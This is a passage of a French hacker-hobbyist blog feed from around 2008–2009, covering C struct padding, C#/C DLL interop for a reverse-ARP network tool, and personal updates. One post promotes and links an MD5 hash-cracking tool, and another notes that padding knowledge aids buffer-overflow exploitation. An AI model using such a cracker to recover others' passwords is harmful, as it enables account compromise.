margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp; &amp;nbsp; &lt;a style="color: #000060;" href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: #000066;"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #009900;"&gt;&amp;#40;&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;&amp;quot;VISUAL STUDIO 2005/2008&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;#41;&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp; &amp;nbsp; &lt;a style="color: #000060;" href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: #000066;"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #009900;"&gt;&amp;#40;&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;&amp;quot;INT &amp;nbsp; &amp;nbsp;SIZE :%i&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt;&lt;span style="color: #993333;"&gt;sizeof&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;#40;&lt;/span&gt;&lt;span style="color: #993333;"&gt;int&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;#41;&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;#41;&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp; &amp;nbsp; &lt;a style="color: #000060;" href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: #000066;"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #009900;"&gt;&amp;#40;&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;&amp;quot;SHORT &amp;nbsp;SIZE :%i&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt;&lt;span style="color: #993333;"&gt;sizeof&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;#40;&lt;/span&gt;&lt;span style="color: #993333;"&gt;short&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;#41;&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;#41;&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: bold; vertical-align:top;font-weight: bold; color: #006060;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp; &amp;nbsp; &lt;a style="color: #000060;" href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: #000066;"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #009900;"&gt;&amp;#40;&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;&amp;quot;STRUCT SIZE :%i&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt;&lt;span style="color: #993333;"&gt;sizeof&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;#40;&lt;/span&gt;MaStructure&lt;span style="color: #009900;"&gt;&amp;#41;&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;#41;&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp; &amp;nbsp; system&lt;span style="color: #009900;"&gt;&amp;#40;&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;&amp;quot;pause&amp;quot;&lt;/span&gt;&lt;span style="color: #009900;"&gt;&amp;#41;&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&amp;nbsp; &amp;nbsp; &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li style="font-weight: normal; vertical-align:top;font: normal normal 100% 'Courier New', Courier, monospace; color: #003030;"&gt;&lt;div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;color: #000020;"&gt;&lt;span style="color: #009900;"&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Et voici la sortie obtenue ( Microsoft Visual C++ 2005   77915-009-0000007-41714 )&lt;br /&gt;&lt;br /&gt;&lt;div style="border:1px solid white;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_orYbpGQL4hA/SXRnTbSsT0I/AAAAAAAAACw/7q0B8noC5aM/s1600-h/shelldata.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 136px;" src="http://4.bp.blogspot.com/_orYbpGQL4hA/SXRnTbSsT0I/AAAAAAAAACw/7q0B8noC5aM/s400/shelldata.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5292969045508509506" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;SOO? WTF? ben après quelques recherches : &lt;br /&gt;&lt;br /&gt;&lt;div style="border:1px solid white;"&gt;&lt;br /&gt;Although the compiler (or interpreter) normally allocates individual data items on aligned boundaries, data structures often have members with different alignment requirements. To maintain proper alignment the translator normally inserts additional unnamed data members so that each member is properly aligned. In addition the data structure as a whole may be padded with a final unnamed member. This allows each member of an array of structures to be properly aligned.&lt;br /&gt;&lt;br /&gt;Padding is only inserted when a structure member is followed by a member with a larger alignment requirement or at the end of the structure. &lt;span style="color:red;"&gt;By changing the ordering of members in a structure, it is possible to change the amount of padding required to maintain alignment&lt;/span&gt;. For example, if members are sorted by ascending or descending alignment requirements a minimal amount of padding is required. The minimal amount of padding required is always less than the largest alignment in the structure. Computing the maximum amount of padding required is more complicated, but is always less than the sum of the alignment requirements for all members minus twice the sum of the alignment requirements for the least aligned half of the structure members.&lt;br /&gt;&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;If the type "short" is stored in two bytes of memory then each member of the data structure depicted above would be 2-byte aligned. Data1 would be at offset 0, Data2 at offset 2 and Data3 at offset 4. The size of this structure would be 6 bytes.&lt;br /&gt;&lt;br /&gt;The type of each member of the structure usually has a default alignment, meaning that it will, unless otherwise requested by the programmer, be aligned on a pre-determined boundary. The following typical alignments are valid for compilers from Microsoft, Borland, and GNU when compiling for x86:&lt;br /&gt;&lt;br /&gt;    * A char (one byte) will be 1-byte aligned.&lt;br /&gt;    * A short (two bytes) will be 2-byte aligned.&lt;br /&gt;    * An int (four bytes) will be 4-byte aligned.&lt;br /&gt;    * A float (four bytes) will be 4-byte aligned.&lt;br /&gt;    * A double (eight bytes) will be 8-byte aligned on Windows and 4-byte aligned on Linux.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Packed#x86_and_x86-64"&gt;Source: Wikipedia&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Le mystère n'est donc plus, mais pourquoi ce padding??&lt;br /&gt;&lt;br /&gt;Le compilateur aligne les structures en mémoire par rapport a l'architecture de la machine ( elles seront alignées sur 8 bits pour une architecture 32 bits) car l'adressage des variables se fait sur 32 bits et donc 4 octets. Les structures doivent donc toujours avoir une taille totalle qui soit un multiple de l'architecture (beurk c'est crade comme phrase). Cela est fait par le compilateur par soucis de performance.&lt;br /&gt;&lt;br /&gt;On peut modifier la façon dont sera géré le Padding:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/2e70t5y1(VS.80).aspx"&gt;#pragma PACK()&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cependant, il est important de rester très prudent avec cette directive, car sa mauvaise utilisation peut entrainer une exception du type "Alignment Fault" et donc générer des cycles processeurs additionnels.&lt;br /&gt;&lt;br /&gt;Connaitre la façon dont un compilateur gère le padding peut parfois être pratique, par exemple lors de l'exploitation de vulnérabilités du type débordement de tampons, cela nous permettra d'être moins approximatif.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-7103023462543524513?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/7103023462543524513/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=7103023462543524513' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/7103023462543524513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/7103023462543524513'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2009/01/data-structure-alignment.html' title='Data Structure Alignment'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_orYbpGQL4hA/SXRnTbSsT0I/AAAAAAAAACw/7q0B8noC5aM/s72-c/shelldata.PNG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-2730323586777239711</id><published>2009-01-07T10:28:00.000+01:00</published><updated>2009-01-07T12:27:48.024+01:00</updated><title type='text'>2k9 - Reb0rn</title><content type='html'>Tout d'abord ben bonne année a tous ceux qui me lisent même si vous n'êtes sûrement pas tant que ça :p&lt;br /&gt;&lt;br /&gt;Enfin bref, je vous souhaite plein de bonnes choses, et de respecter vos bonnes résolutions, personnellement je n'en ai pas pris (même pas celle de poster + ).&lt;br /&gt;&lt;br /&gt;Sachez quand même que je prépare quelques trucs dans mon coin que je présenterais ici dès que je pourrais.&lt;br /&gt;&lt;br /&gt;Un peu de son quand même en ces temps de disette et de misère:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/7CbTS5qTq9E&amp;hl=fr&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/7CbTS5qTq9E&amp;hl=fr&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Technossomy - Pyramid&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/xJpOC-dmSQ8&amp;hl=fr&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/xJpOC-dmSQ8&amp;hl=fr&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;This Is GOA - A Never Ending Energy-2 (TranceGalaxy's Version)&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Jrx0mkn3wj0&amp;hl=fr&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Jrx0mkn3wj0&amp;hl=fr&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Travma - 2019&lt;br /&gt;&lt;br /&gt;EDIT: Merci Sh4ka pour le dernier titre :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-2730323586777239711?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/2730323586777239711/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=2730323586777239711' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/2730323586777239711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/2730323586777239711'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2009/01/2k9-reb0rn.html' title='2k9 - Reb0rn'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-8826368326188083690</id><published>2008-11-21T12:43:00.000+01:00</published><updated>2008-11-21T14:11:09.463+01:00</updated><title type='text'>Dead Or Alive?</title><content type='html'>Suites a quelques remarques, un petit billet juste pour dire que je ne suis pas mort :)&lt;br /&gt;Je n'ai plus de machine à ma disposition, donc mes projets n'avancent pas vraiment. Je vais bientôt emménager dans un nouvel appartement et pouvoir reprendre mes petits travaux :)&lt;br /&gt;&lt;br /&gt;J'en profite pour présenter le blog de mon pote Onerius : &lt;a href="http://onerius.blogspot.com/"&gt;ICI&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;A très bientôt donc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-8826368326188083690?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/8826368326188083690/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=8826368326188083690' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/8826368326188083690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/8826368326188083690'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/11/dead-or-alive.html' title='Dead Or Alive?'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-963343712117121776</id><published>2008-10-01T09:30:00.000+02:00</published><updated>2008-10-01T12:01:51.193+02:00</updated><title type='text'>Pour info...</title><content type='html'>J'exportais le code de mon outil de Reverse Arp en librairie dynamique (DLL) pour pouvoir l'appeler depuis un programme écrit en C#... Et la ben pas si facile de passer un char * en écriture en fait!!!&lt;br /&gt;&lt;br /&gt;Voici donc la solution :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; padding: 3px;"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Signature de la fonction exportée de la DLL (écrite en C) :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;extern&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;"C"&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; __declspec(dllexport)&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;int &lt;/span&gt;getIPfromMAC(&lt;span style="color: rgb(51, 51, 255);"&gt;char &lt;/span&gt;* MAC_TO_LOOK_FOR, &lt;span style="color: rgb(51, 51, 255);"&gt;char &lt;/span&gt;* IP_RANGE_START, &lt;span style="color: rgb(51, 51, 255);"&gt;char &lt;/span&gt;* IP_RANGE_END, &lt;span style="color: rgb(51, 51, 255);"&gt;char &lt;/span&gt;* ret)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Appel en C# :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[&lt;span style="color: rgb(0, 204, 204);"&gt;DllImport&lt;/span&gt;(&lt;span style="color: rgb(0, 153, 0);"&gt;"RARPL_DLL.dll"&lt;/span&gt;, EntryPoint = &lt;span style="color: rgb(0, 153, 0);"&gt;"getIPfromMAC"&lt;/span&gt;)]&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;static extern int&lt;/span&gt; getIPfromMAC(&lt;span style="color: rgb(51, 51, 255);"&gt;string&lt;/span&gt; MAC_TO_LOOK_FOR, &lt;span style="color: rgb(51, 51, 255);"&gt;string&lt;/span&gt; IP_RANGE_START, &lt;span style="color: rgb(51, 51, 255);"&gt;string&lt;/span&gt; IP_RANGE_END, &lt;span style="color: rgb(0, 204, 204);"&gt;StringBuilder&lt;/span&gt; buffer);&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;string&lt;/span&gt; ret="";&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;StringBuilder&lt;/span&gt; IPretour= &lt;span style="color: rgb(51, 51, 255);"&gt;new&lt;/span&gt; &lt;span style="color: rgb(0, 204, 204);"&gt;StringBuilder&lt;/span&gt;(50);&lt;br /&gt;getIPfromMAC(MAC, IPdebut, IPfin, IPretour);&lt;br /&gt;ret = IPretour.ToString();&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Tout ca sous Visual Studio (il me semble que la directive &lt;span style="color: rgb(51, 51, 255);"&gt;extern&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;"C"&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; __declspec(dllexport)&lt;/span&gt; est spécifique a VS)...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-963343712117121776?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/963343712117121776/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=963343712117121776' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/963343712117121776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/963343712117121776'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/10/pour-info.html' title='Pour info...'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-5252800694799214538</id><published>2008-09-26T16:46:00.000+02:00</published><updated>2008-09-26T16:49:45.307+02:00</updated><title type='text'>Nouvelle Bannière</title><content type='html'>Merci a MetriK pour la nouvelle bannière, je link son &lt;a href="http://logan41.free.fr/port/ "&gt;Portfolio&lt;/a&gt;, qui est encore en cours de construction.&lt;br /&gt;&lt;br /&gt;Voila voila :p&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-5252800694799214538?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/5252800694799214538/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=5252800694799214538' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5252800694799214538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5252800694799214538'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/09/nouvelle-bannire.html' title='Nouvelle Bannière'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-3658461168569919877</id><published>2008-09-26T14:22:00.000+02:00</published><updated>2008-10-01T12:55:35.278+02:00</updated><title type='text'>MD5 Online Cracker - By Tr00ps</title><content type='html'>Un tool de recherche de correspondances MD5/plein-text codé par mon pote Tr00ps.&lt;br /&gt;Le programme recherche le hash soumis sur une multitude de bases de données.&lt;br /&gt;&lt;br /&gt;- Cracking par listes&lt;br /&gt;- Export du résultat&lt;br /&gt;- ...&lt;br /&gt;&lt;br /&gt;Une nouvelle version implémentant la gestion des bases de données par l'utilisateur pour bientôt? :p&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img205.imageshack.us/img205/327/01uw7.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px;" src="http://img205.imageshack.us/img205/327/01uw7.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.agents-codeurz.com/Logiciel/CMOTV1.0.rar"&gt;MD5 Online Cracker Download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-3658461168569919877?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/3658461168569919877/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=3658461168569919877' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3658461168569919877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3658461168569919877'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/09/md5-online-cracker-by-tr00ps.html' title='MD5 Online Cracker - By Tr00ps'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-5570182867544307145</id><published>2008-09-26T12:53:00.000+02:00</published><updated>2008-09-26T14:46:27.149+02:00</updated><title type='text'>ARP Reverse Like</title><content type='html'>Un petit outil écrit en C pour faire une "sorte" de Reverse ARP...&lt;br /&gt;&lt;br /&gt;EDIT: ha hé heu oui, faut linker avec : iphlpapi.lib ws2_32.lib :p&lt;br /&gt;&lt;br /&gt;&lt;div  style="font-family:Arial; padding:3px; border:1px solid white;"&gt;&lt;br /&gt;&lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// - Reverse ARP Like Tool -&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// - by 5m0k3 - &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include "stdafx.h"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include "string.h"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;atlbase.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;shellapi.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;winsock2.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;iphlpapi.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;icmpapi.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;typedef&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;struct&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;DWORD Address; &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Replying address&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;long&lt;/span&gt; Status; &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Reply status&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;long&lt;/span&gt; RoundTripTime; &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// RTT in milliseconds&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;short&lt;/span&gt; DataSize; &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Echo data size&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;short&lt;/span&gt; Reserved; &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Reserved for system use&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;void&lt;/span&gt; *Data; &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Pointer to the echo data&lt;/span&gt;&lt;br /&gt;IP_OPTION_INFORMATION Options; &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Reply options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 